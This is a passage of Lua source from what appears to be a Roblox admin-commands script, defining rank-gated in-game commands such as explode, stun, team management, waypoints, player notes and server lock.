7586 local Players = STRING:Scan(Arguments[1], Speaker)
7587 for _,Player in pairs(Players) do
7588 if Player.Character and Player.Character:FindFirstChild("Torso") then
7589 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7590 end
7591 end
7592 end};
7593
7594 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7595 local Players = STRING:Scan(Arguments[1], Speaker)
7596 for _,Player in pairs(Players) do
7597 if Player.Character and Player.Character:FindFirstChild("Torso") then
7598 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7599 end
7600 end
7601 end};
7602
7603 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7604 local Players = STRING:Scan(Arguments[1], Speaker)
7605 for _,Player in pairs(Players) do
7606 if Player.Character and Player.Character:FindFirstChild("Torso") then
7607 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7608 if Get:IsA("Sparkles") then
7609 Get:Destroy()
7610 end
7611 end
7612 end
7613 end
7614 end};
7615
7616 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7617 local Players = STRING:Scan(Arguments[1], Speaker)
7618 for _,Player in pairs(Players) do
7619 if Player.Character and Player.Character:FindFirstChild("Torso") then
7620 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7621 if Get:IsA("Fire") then
7622 Get:Destroy()
7623 end
7624 end
7625 end
7626 end
7627 end};
7628
7629 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7630 local Players = STRING:Scan(Arguments[1], Speaker)
7631 for _,Player in pairs(Players) do
7632 if Player.Character and Player.Character:FindFirstChild("Torso") then
7633 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7634 if Get:IsA("Smoke") then
7635 Get:Destroy()
7636 end
7637 end
7638 end
7639 end
7640 end};
7641
7642 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7643 local Players = STRING:Scan(Arguments[1], Speaker)
7644 for _,Player in pairs(Players) do
7645 if Player.Character and Player.Character:FindFirstChild("Torso") then
7646 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7647 local Boom = Instance.new("Explosion", Workspace)
7648 Boom.Position = Player.Character.Torso.Position
7649 end
7650 end
7651 end};
7652
7653 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7654 local Players = STRING:Scan(Arguments[1], Speaker)
7655 for _,Player in pairs(Players) do
7656 if Player.Character and Player.Character:FindFirstChild("Torso") then
7657 coroutine.wrap(function() for i = 1,50 do
7658 local Boom = Instance.new("Explosion", Workspace)
7659 Boom.Position = Player.Character.Torso.Position
7660 wait()
7661 end end)()
7662 coroutine.wrap(function() for i = 1,5 do
7663 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7664 end end)()
7665 end
7666 end
7667 end};
7668
7669 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7670 local Players = STRING:Scan(Arguments[1], Speaker)
7671 for _,Player in pairs(Players) do
7672 if Player.Character and Player.Character:FindFirstChild("Torso") then
7673 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7674 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7675 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7676 end
7677 end
7678 end};
7679
7680 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7681 local Players = STRING:Scan(Arguments[1], Speaker)
7682 for _,Player in pairs(Players) do
7683 if Player.Character and Player.Character:FindFirstChild("Torso") then
7684 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7685 end
7686 end
7687 end};
7688
7689 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7690 local Players = STRING:Scan(Arguments[1], Speaker)
7691 for _,Player in pairs(Players) do
7692 if Player.Character then
7693 Player.Character.Parent = Server.Lighting
7694 end
7695 end
7696 end};
7697
7698 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7699 local Players = STRING:Scan(Arguments[1], Speaker)
7700 for _,Player in pairs(Players) do
7701 if Player.Character then
7702 Player.Character.Parent = Server.Workspace
7703 Player.Character:MakeJoints()
7704 end
7705 end
7706 end};
7707
7708 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7709 local Players = STRING:Scan(Arguments[1], Speaker)
7710 for _,Player in pairs(Players) do
7711 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7712 Player.Character.Humanoid.PlatformStand = true
7713 end
7714 end
7715 end};
7716
7717 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7718 local Players = STRING:Scan(Arguments[1], Speaker)
7719 for _,Player in pairs(Players) do
7720 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7721 Player.Character.Humanoid.PlatformStand = false
7722 end
7723 end
7724 end};
7725
7726 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7727 local Players = STRING:Scan(Arguments[1], Speaker)
7728 for _,Player in pairs(Players) do
7729 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7730 Player.Character.Humanoid.Jump = true
7731 end
7732 end
7733 end};
7734
7735 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7736 local Players = STRING:Scan(Arguments[1], Speaker)
7737 for _,Player in pairs(Players) do
7738 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7739 Player.Character.Humanoid.Sit = true
7740 end
7741 end
7742 end};
7743
7744 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7745 local Players = STRING:Scan(Arguments[1], Speaker)
7746 for _,Player in pairs(Players) do
7747 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7748 Player.Character.Humanoid.Sit = false
7749 end
7750 end
7751 end};
7752
7753 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7754 local Players = STRING:Scan(Arguments[1], Speaker)
7755 for _,Player in pairs(Players) do
7756 if Player.Character and Player.Character:FindFirstChild("Torso") then
7757 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7758 end
7759 end
7760 end};
7761
7762 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7763 local Players = STRING:Scan(Arguments[1], Speaker)
7764 for _,Player in pairs(Players) do
7765 if Player.Character and Player.Character:FindFirstChild("Torso") then
7766 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7767 end
7768 end
7769 end};
7770
7771 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7772 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7773 end};
7774
7775 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7776 local Color = "Blue"
7777 local String = Arguments[2]
7778 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7779 if #ChatSplit >= 2 then
7780 if string.lower(ChatSplit[1]) == "green" then
7781 Color = "Green"
7782 String = ChatSplit[2]
7783 elseif string.lower(ChatSplit[1]) == "red" then
7784 Color = "Red"
7785 String = ChatSplit[2]
7786 end
7787 end
7788 local Players = STRING:Scan(Arguments[1], Speaker)
7789 for _,Player in pairs(Players) do
7790 if Player.Character and Player.Character:FindFirstChild("Head") then
7791 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7792 end
7793 end
7794 end};
7795
7796 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7797 local Players = STRING:Scan(Arguments[1], Speaker)
7798 for _,Player in pairs(Players) do
7799 if Player.Character then
7800 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7801 end
7802 end
7803 end};
7804
7805 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7806 local Players = STRING:Scan(Arguments[1], Speaker)
7807 local ID = nil
7808 if tonumber(Arguments[2]) ~= nil then
7809 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7810 else
7811 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7812 for _,Face in pairs(FaceTable) do
7813 if string.lower(Arguments[2]) == string.lower(Face) then
7814 ID = FaceID
7815 break
7816 end
7817 end
7818 end
7819 end
7820 if ID then
7821 for _,Player in pairs(Players) do
7822 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7823 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7824 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7825 end
7826 end
7827 end
7828 end};
7829
7830 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7831 local Players = STRING:Scan(Arguments[1], Speaker)
7832 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7833 for _,Player in pairs(Players) do
7834 if Player.Character and Player.Character:FindFirstChild("Head") then
7835 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7836 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7837 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7838 end
7839 end
7840 end};
7841
7842 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7843 local Players = STRING:Scan(Arguments[1], Speaker)
7844 for _,Player in pairs(Players) do
7845 if Player.Character and Player.Character:FindFirstChild("Head") then
7846 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7847 end
7848 end
7849 end};
7850
7851 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7852 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7853 end, Http = true};
7854
7855 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7856 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7857 end, Http = true};
7858
7859 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7860 local Players = STRING:Scan(Arguments[1], Speaker)
7861 for _,Player in pairs(Players) do
7862 local ExistingData = Player:LoadInstance("Data")
7863 if ExistingData == nil then
7864 ExistingData = Instance.new("Configuration")
7865 end
7866 ExistingData.Name = "Player Data"
7867 local Key = Instance.new("Configuration", ExistingData)
7868 Key.Name = Arguments[2]
7869 Player:SaveInstance("Data", ExistingData)
7870 end
7871 end};
7872
7873 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7874 local Players = STRING:Scan(Arguments[1], Speaker)
7875 local Data = Arguments[2]
7876 for _,Player in pairs(Players) do
7877 local ExistingData = Player:LoadInstance("Data")
7878 if ExistingData ~= nil then
7879 if string.lower(Data) == "all" then
7880 ExistingData:ClearAllChildren()
7881 else
7882 for _,DataObj in pairs(ExistingData:GetChildren()) do
7883 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7884 DataObj:Destroy()
7885 end
7886 end
7887 end
7888 end
7889 Player:SaveInstance("Data", ExistingData)
7890 end
7891 end};
7892
7893 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7894 local Players = STRING:Scan(Arguments[1], Speaker)
7895 local DataSet = {}
7896 for _,Player in pairs(Players) do
7897 local ExistingData = Player:LoadInstance("Data")
7898 if ExistingData ~= nil then
7899 if #ExistingData:GetChildren() ~= 0 then
7900 for _,Data in pairs(ExistingData:GetChildren()) do
7901 table.insert(DataSet, Player.Name..": "..Data.Name)
7902 end
7903 else
7904 table.insert(DataSet, "Data does not exist for "..Player.Name)
7905 end
7906 else
7907 table.insert(DataSet, "Data does not exist for "..Player.Name)
7908 end
7909 end
7910 GUI:ListGui(Speaker, "Notes", DataSet)
7911 end};
7912
7913 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7914 local Players = STRING:Scan(Arguments[1], Speaker)
7915 for _,Player in pairs(Players) do
7916 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7917 Player.Character.Humanoid.WalkSpeed = 16
7918 end
7919 end
7920 end};
7921
7922 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7923 local Players = STRING:Scan(Arguments[1], Speaker)
7924 for _,Player in pairs(Players) do
7925 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7926 Player.Character.Humanoid.WalkSpeed = -16
7927 end
7928 end
7929 end};
7930
7931 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7932 local TeamColor = BrickColor.random()
7933 local TeamName = Arguments[1]
7934 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7935 if #TeamNameSplit >= 2 then
7936 local Color = TeamNameSplit[1]
7937 local NewTeamName = TeamNameSplit[2]
7938 if Color == "Medium stone grey" then
7939 TeamColor = BrickColor.new(Color)
7940 TeamName = NewTeamName
7941 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7942 TeamColor = BrickColor.new(Color)
7943 TeamName = NewTeamName
7944 elseif Colors[string.upper(Color)] then
7945 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7946 TeamName = NewTeamName
7947 end
7948 end
7949
7950 local NewTeam = Instance.new("Team", Server.Teams)
7951 NewTeam.TeamColor = TeamColor
7952 NewTeam.Name = TeamName
7953 end};
7954
7955 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7956 local Players = STRING:Scan(Arguments[1], Speaker)
7957 for _,Player in pairs(Players) do
7958 Player.Neutral = true
7959 end
7960 end};
7961
7962 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7963 local Players = STRING:Scan(Arguments[1], Speaker)
7964 if string.lower(Arguments[2]) == "none" then
7965 for _,Player in pairs(Players) do
7966 Player.Neutral = true
7967 end
7968 else
7969 for _,Obj in pairs(Server.Teams:GetChildren()) do
7970 if Obj:IsA("Team") then
7971 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7972 for _,Player in pairs(Players) do
7973 Player.Neutral = false
7974 Player.TeamColor = Obj.TeamColor
7975 end
7976 end
7977 end
7978 end
7979 end
7980 end};
7981
7982 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7983 for _,Obj in pairs(Server.Teams:GetChildren()) do
7984 if Obj:IsA("Team") then
7985 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7986 for _,Player in pairs(Server.Players:GetPlayers()) do
7987 if Player.TeamColor == Obj.TeamColor then
7988 Player.Neutral = true
7989 end
7990 end
7991 Obj:Destroy()
7992 end
7993 end
7994 end
7995 end};
7996
7997 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7998 for _,Player in pairs(Server.Players:GetPlayers()) do
7999 Player.Neutral = true
8000 end
8001 for _,Obj in pairs(Server.Teams:GetChildren()) do
8002 if Obj:IsA("Team") then
8003 Obj:Destroy()
8004 end
8005 end
8006 end};
8007
8008 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8009 for _,Player in pairs(Server.Players:GetPlayers()) do
8010 GUI:Countdown(Player, Arguments[1])
8011 end
8012 end};
8013
8014 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8015 local Players = STRING:Scan(Arguments[1], Speaker)
8016 for _,Player in pairs(Players) do
8017 if Player:FindFirstChild("Backpack") then
8018 CORE:ExecuteResource("ShowAd", Player.Backpack)
8019 end
8020 end
8021 end};
8022
8023 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8024 local Players = STRING:Scan(Arguments[1], Speaker)
8025 for _,Player in pairs(Players) do
8026 if Player.Character then
8027 for PosName,WP in pairs(Waypoints) do
8028 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8029 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8030 break
8031 end
8032 end
8033 end
8034 end
8035 end};
8036
8037 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8038 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8039 end};
8040
8041 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8042 local Num = 0
8043 for PosName,WP in pairs(Waypoints) do
8044 Num = Num + 1
8045 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8046 Waypoints[PosName] = nil
8047 end
8048 end
8049 end};
8050
8051 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8052 local WaypointHolder,WaypointRaw = {},{}
8053 for Name, WP in pairs(Waypoints) do
8054 local View = Name..": "..tostring(WP)
8055 table.insert(WaypointHolder, View)
8056 WaypointRaw[View] = WP
8057 end
8058 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8059 Clicked.Event:connect(function(Text)
8060 local Waypoint = WaypointRaw[Text]
8061 if Waypoint then
8062 if Speaker.Character then
8063 Speaker.Character:MoveTo(Waypoint)
8064 end
8065 end
8066 end)
8067 end};
8068
8069 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8070 local Players = STRING:Scan(Arguments[1], Speaker)
8071 local List = {}
8072 for _,Player in pairs(Players) do
8073 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8074 end
8075 GUI:ListGui(Speaker, "Listed Players", List)
8076 end};
8077
8078 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8079 if tonumber(Arguments[1]) then
8080 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8081 else
8082 local Players = STRING:Scan(Arguments[1], Speaker)
8083 for _,Player in pairs(Players) do
8084 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8085 end
8086 end
8087 end};
8088
8089 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8090 local Players = STRING:Scan(Arguments[1], Speaker)
8091 local Friends,OneFriend = {}, false
8092 for _,Player in pairs(Players) do
8093 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8094 --[[if Player:IsBestFriendsWith(User.UserId) then
8095 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8096 OneFriend = true
8097 ]]
8098 if Player:IsFriendsWith(User.UserId) then
8099 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8100 OneFriend = true
8101 end
8102 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8103 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8104 end
8105 end end
8106 end
8107 GUI:ListGui(Speaker, "Friend List", Friends)
8108 end};
8109
8110 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8111 Settings.ServerLocked = true
8112 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8113 end};
8114
8115 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8116 Settings.ServerLocked = false
8117 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8118 end};
8119
8120 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8121 local OldAge = Settings.MinimumAge
8122 local Age = tostring(Arguments[1])
8123 if Age then
8124 Settings.MinimumAge = Age
8125 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8126 end
8127 end};
8128
8129 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8130 if Settings.VIPAdminID <= 1 then
8131 MARKET:PromptPurchase(Speaker, VIPAdminID)
8132 else
8133 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8134 end
8135 end};
8136
8137 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8138 if Settings.VIPMemberID <= 1 then
8139 MARKET:PromptPurchase(Speaker, VIPMemberID)
8140 else
8141 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8142 end
8143 end};
8144
8145 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8146 if tonumber(Arguments[2]) then
8147 local Players = STRING:Scan(Arguments[1], Speaker)
8148 local Size = tonumber(Arguments[2])+25
8149 for _,Player in pairs(Players) do
8150 if Player.Character then
8151 if Player.Character:FindFirstChild("Head") then
8152 if Player.Character.Head:FindFirstChild("Mesh") then
8153 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8154 end
8155 end
8156 end
8157 end
8158 end
8159 end};
8160
8161 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8162 local Players = STRING:Scan(Arguments[1], Speaker)
8163 for _,Player in pairs(Players) do
8164 if Player.Character and Player.Character:FindFirstChild("Torso") then
8165 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8166 Player.Character.Parent = nil
8167 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8168 end
8169 end
8170 end};
8171
8172 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8173 GUI:SettingsGui(Speaker)
8174 end};
8175
8176 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8177 if tonumber(Arguments[2]) then
8178 local Players = STRING:Scan(Arguments[1], Speaker)
8179 local List = {}
8180 for _,Player in pairs(Players) do
8181 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8182 table.insert(List, Player.Name)
8183 end
8184 end
8185 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8186 end
8187 end};
8188
8189 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8190 local Players = STRING:Scan(Arguments[1], Speaker)
8191 for _,Player in pairs(Players) do
8192 if Player.Character and Player.Character:FindFirstChild("Head") then
8193 local Char = Player.Character
8194 Char:BreakJoints()
8195 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8196 Obj.Anchored = true
8197 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8198 local Decal = Instance.new("Decal", Obj)
8199 Decal.Texture = "rbxassetid://178913323"
8200 Decal.Face = Face
8201 end
8202 end)
8203 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8204 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8205 Sound1:Play() Sound2:Play()
8206 coroutine.wrap(function()
8207 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8208 repeat wait()
8209 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8210 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8211 Obj.Transparency = math.random(0,30)/100
8212 Obj.Reflectance = math.random(0,50)/100
8213 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8214 end)
8215 until Char ~= Player.Character or Char.Parent == nil
8216 end)()
8217 end
8218 end
8219 end, Hidden = true};
8220
8221 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8222 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8223 end, Http = true};
8224
8225 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8226 local Players = STRING:Scan(Arguments[1], Speaker)
8227 for _,Player in pairs(Players) do
8228 if Player.Character then
8229 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8230 Obj.Material = "Neon"
8231 end)
8232 end
8233 end
8234 end};
8235
8236 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8237 local Players = STRING:Scan(Arguments[1], Speaker)
8238 for _,Player in pairs(Players) do
8239 if Player.Character then
8240 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8241 Obj.Material = "Plastic"
8242 end)
8243 end
8244 end
8245 end};
8246
8247 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8248 local Players = STRING:Scan(Arguments[1], Speaker)
8249 for _,Player in pairs(Players) do
8250 if Player.Character then
8251 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8252 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8253 end)
8254 end
8255 end
8256 end, Hidden = true};
8257
8258 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
